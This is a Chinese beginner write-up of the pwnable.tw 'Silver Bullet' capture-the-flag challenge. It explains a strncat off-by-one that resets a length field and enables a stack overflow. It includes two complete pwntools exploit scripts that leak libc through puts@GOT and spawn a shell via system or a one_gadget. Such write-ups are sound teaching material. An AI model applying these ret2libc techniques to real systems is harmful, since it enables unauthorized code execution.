pwnable.tw新手向write up(五) Silver Bullet-Off By One
2020-05-09 17:52:56 Author: bbs.pediy.com(查看原文) 阅读量:407 收藏

IDA看一下.

  int __cdecl main(int argc, const char **argv, const char **envp)
  {
    int choice; // eax
    Werewolf wolf; // [esp+0h] [ebp-3Ch]
    bullet silver_bullet; // [esp+8h] [ebp-34h]

    init_proc();
    silver_bullet.length = 0;
    memset(&silver_bullet, 0, 0x30u);
    wolf.HP = 0x7FFFFFFF;
    wolf.name = "Gin";
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            choice = read_int();
            if ( choice != 2 )
              break;
            power_up(&silver_bullet);
          }
          if ( choice > 2 )
            break;
          if ( choice != 1 )
            goto LABEL_16;
          create_bullet(&silver_bullet);
        }
        if ( choice == 3 )
          break;
        if ( choice == 4 )
        {
          puts("Don't give up !");
          exit(0);
        }
  LABEL_16:
        puts("Invalid choice");
      }
      if ( beat(&silver_bullet, &wolf) )
        return 0;
      puts("Give me more power !!");
    }
  }

大概意思是程序要求我们用银子弹杀死狼人,分别提供了创建子弹,增强威力,和开枪这三个函数,这里我创建了一个狼人信息的结构体,如下:

  struct Werewolf
  {
    int HP;
    char *name;
  };

接着进入create_bullet函数看一下:

  int __cdecl create_bullet(bullet *silver_bullet)
  {
    int length; // ST08_4

    if ( silver_bullet->description[0] )
      return puts("You have been created the Bullet !");
    printf("Give me your description of bullet :");
    read_input(silver_bullet, 0x30u);
    length = strlen(silver_bullet->description);
    printf("Your power is : %u\n", length);
    silver_bullet->length = length;
    return puts("Good luck !!");
  }

子弹只能创建一次,而且这个函数并不存在漏洞,不过我们可以得知子弹的信息结构,如下:

  struct bullet
  {
    char description[48];
    int length;
  };

接着是power_up函数:

  int __cdecl power_up(bullet *silver_bullet)
  {
    bullet fake_bullet; // [esp+0h] [ebp-34h]

    fake_bullet.length = 0;
    memset(&fake_bullet, 0, 0x30u);
    if ( !silver_bullet->description[0] )
      return puts("You need create the bullet first !");
    if ( silver_bullet->length > 47u )
      return puts("You can't power up any more !");
    printf("Give me your another description of bullet :");
    read_input(&fake_bullet, 0x30 - silver_bullet->length);
    strncat(silver_bullet->description, fake_bullet.description, 0x30 - silver_bullet->length);
    fake_bullet.length = strlen(fake_bullet.description) + silver_bullet->length;
    printf("Your new power is : %u\n", fake_bullet.length);
    silver_bullet->length = fake_bullet.length;
    return puts("Enjoy it !");
  }

首先判断子弹中的字符串长度是否大于47,不然就直接返回.假设我们的长度并没有超过47,那么程序会读取48-length长度的字节,然后用strncat函数将两个字符拼接在一起,之后更新子弹的长度信息.

乍一看可能很安全,因为使用了strncat而不是strcat,但是strcat在拼接完之后会在末尾加一个'\x00',根据保存子弹信息的结构体可知,我们在description输入48个字节后,会有一个\x00溢出到保存长度的length中.乍一看好像也没啥,才一个字节而已,但是不要忘记我们的计算机采用的是小端序,溢出的一个字节正好将length的值改成了0.溢出之后还会更新我们的length为0+fake_bullet->length.

  signed int __cdecl beat(bullet *silver_bullet, Werewolf *wolf)
  {
    signed int result; // eax

    if ( silver_bullet->description[0] )
    {
      puts(">----------- Werewolf -----------<");
      printf(" + NAME : %s\n", wolf->name);
      printf(" + HP : %d\n", wolf->HP);
      puts(">--------------------------------<");
      puts("Try to beat it .....");
      usleep(0xF4240u);
      wolf->HP -= silver_bullet->length;
      if ( wolf->HP <= 0 )
      {
        puts("Oh ! You win !!");
        result = 1;
      }
      else
      {
        puts("Sorry ... It still alive !!");
        result = 0;
      }
    }
    else
    {
      puts("You need create the bullet first !");
      result = 0;
    }
    return result;
  }

beat函数首先用狼人的生命值减去子弹的长度,判断大小选择返回0或者1.main函数是用exit(0)来退出的,并不能执行return从而控制eip,所以我们在构造完栈上的数据之后要调用beat函数劫持控制流.

  • 利用方法

    1. 唯一的溢出点在power_up函数之中的strncat函数,所以我们在创建子弹的时候不能超过0x2F,为了后面构造方便一点,我们创建一个0x2F长度的子弹.接着调用power_up函数,这个时候我们只能输入一个字节的内容,接着strncat从字符串之后的\x00所在处复制我们的输入,末尾会补一个\x00,此时,子弹的长度以及被覆盖为了0.但是还会对长度进行更新,0+fake_bullet->length = 1.这样,我们如果再调用一次power_up函数,那么我们就可以在48个字节+'\x01'之后输入2F个字节了,这就造成了栈溢出.

    2. 这个时候有两种解法,一种是比较麻烦的,先覆盖返回地址为puts函数来打印puts@got的值,接着计算出libc加载的基地址以及system函数和bin/sh字符串的地址,最后再覆盖返回地址为system函数来getshell.

    3. 另一种相对简单一点,我们可以考虑one_gadget:

       [0] % one_gadget libc.so
       0x3a819 execve("/bin/sh", esp+0x34, environ)
       constraints:
         esi is the GOT address of libc
         [esp+0x34] == NULL
      
       0x5f065 execl("/bin/sh", eax)
       constraints:
         esi is the GOT address of libc
         eax == NULL
      
       0x5f066 execl("/bin/sh", [esp])
       constraints:
         esi is the GOT address of libc
         [esp] == NULL
      
  • exp-re2libc

      #!/usr/bin/env python2
      # -*- coding: utf-8 -*-
      from PwnContext.core import *
      local = False
    
      # Set up pwntools for the correct architecture
      exe = './' + 'silver_bullet'
      elf = context.binary = ELF(exe)
    
      #don't forget to change it
      host = args.HOST or 'chall.pwnable.tw'
      port = int(args.PORT or 10103)
    
      #don't forget to change it
      #ctx.binary = './' + 'silver_bullet'
      ctx.binary = exe
      libc = args.LIBC or 'libc.so'
      elf_libc = ELF(libc)
      ctx.debug_remote_libc = True
      ctx.remote_libc = libc
      ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet'
      if local:
          context.log_level = 'debug'
          try:
              io = ctx.start()
          except Exception as e:
              print(e.args)
              print("It can't work,may be it can't load the remote libc!")
              print("It will load the local process")
              io = process(exe)
      else:
          io = remote(host,port)
      #===========================================================
      #                    EXPLOIT GOES HERE
      #===========================================================
    
      # Arch:     i386-32-little
      # RELRO:    Full RELRO
      # Stack:    No canary found
      # NX:       NX enabled
      # PIE:      No PIE (0x8048000)
      def create(description):
          io.recvuntil('Your choice :')
          io.sendline('1')
          io.recvuntil('Give me your description of bullet :')
          io.send(description)
    
      def power_up(description):
          io.recvuntil('Your choice :')
          io.sendline('2')
          io.recvuntil('Give me your another description of bullet :')
          io.send(description)
    
      def beat():
          io.recvuntil('Your choice :')
          io.sendline('3')
      def exp():
          create('a'*0x2f)
    
          power_up('a')
    
          payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts'])
          power_up(payload)
          beat()
    
          io.recvuntil('Oh ! You win !!\n')
          puts_got = u32(io.recv(4))
    
          log.success('puts@got = ' + hex(puts_got))
          libc_base = puts_got - elf_libc.symbols['puts']
          log.success('libc_base = ' + hex(libc_base))
          system_addr = libc_base + elf_libc.symbols['system']
          log.success('system_addr = ' + hex(system_addr))
          bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next()
          log.success('bin_sh_addr = ' + hex(bin_sh_addr))
    
          create('a'*0x2f)
    
          power_up('a')
    
      #    payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f065)
          payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b)
          power_up(payload)
          beat()
    
      if __name__ == '__main__':
          exp()
          io.interactive()
    
  • exp-one_gadget

      #!/usr/bin/env python2
      # -*- coding: utf-8 -*-
      from PwnContext.core import *
      local = False
    
      # Set up pwntools for the correct architecture
      exe = './' + 'silver_bullet'
      elf = context.binary = ELF(exe)
    
      #don't forget to change it
      host = args.HOST or 'chall.pwnable.tw'
      port = int(args.PORT or 10103)
    
      #don't forget to change it
      #ctx.binary = './' + 'silver_bullet'
      ctx.binary = exe
      libc = args.LIBC or 'libc.so'
      elf_libc = ELF(libc)
      ctx.debug_remote_libc = True
      ctx.remote_libc = libc
      ctx.custom_lib_dir = '/home/dylan/ctfs/pwnable_tw/Silver_Bullet'
      if local:
          context.log_level = 'debug'
          try:
              io = ctx.start()
          except Exception as e:
              print(e.args)
              print("It can't work,may be it can't load the remote libc!")
              print("It will load the local process")
              io = process(exe)
      else:
          io = remote(host,port)
      #===========================================================
      #                    EXPLOIT GOES HERE
      #===========================================================
    
      # Arch:     i386-32-little
      # RELRO:    Full RELRO
      # Stack:    No canary found
      # NX:       NX enabled
      # PIE:      No PIE (0x8048000)
      def create(description):
          io.recvuntil('Your choice :')
          io.sendline('1')
          io.recvuntil('Give me your description of bullet :')
          io.send(description)
    
      def power_up(description):
          io.recvuntil('Your choice :')
          io.sendline('2')
          io.recvuntil('Give me your another description of bullet :')
          io.send(description)
    
      def beat():
          io.recvuntil('Your choice :')
          io.sendline('3')
      def exp():
          create('a'*0x2f)
    
          power_up('a')
    
          payload = '\xff'*3 + p32(0xdeadbeef) + p32(elf.symbols['puts']) + p32(elf.symbols['main']) + p32(elf.got['puts'])
          power_up(payload)
          beat()
    
          io.recvuntil('Oh ! You win !!\n')
          puts_got = u32(io.recv(4))
    
          log.success('puts@got = ' + hex(puts_got))
          libc_base = puts_got - elf_libc.symbols['puts']
          log.success('libc_base = ' + hex(libc_base))
          system_addr = libc_base + elf_libc.symbols['system']
          log.success('system_addr = ' + hex(system_addr))
          bin_sh_addr = libc_base + elf_libc.search('/bin/sh').next()
          log.success('bin_sh_addr = ' + hex(bin_sh_addr))
    
          create('a'*0x2f)
    
          power_up('a')
    
          payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x5f066)
          #payload = '\xff'*3 + p32(0xdeadbeef) + p32(libc_base+0x0003A940) + 'a'*4 + p32(libc_base+0x00158e8b)
          power_up(payload)
          beat()
    
      if __name__ == '__main__':
          exp()
          io.interactive()
    

文章来源: https://bbs.pediy.com/thread-259408.htm
如有侵权请联系:admin#unsafe.sh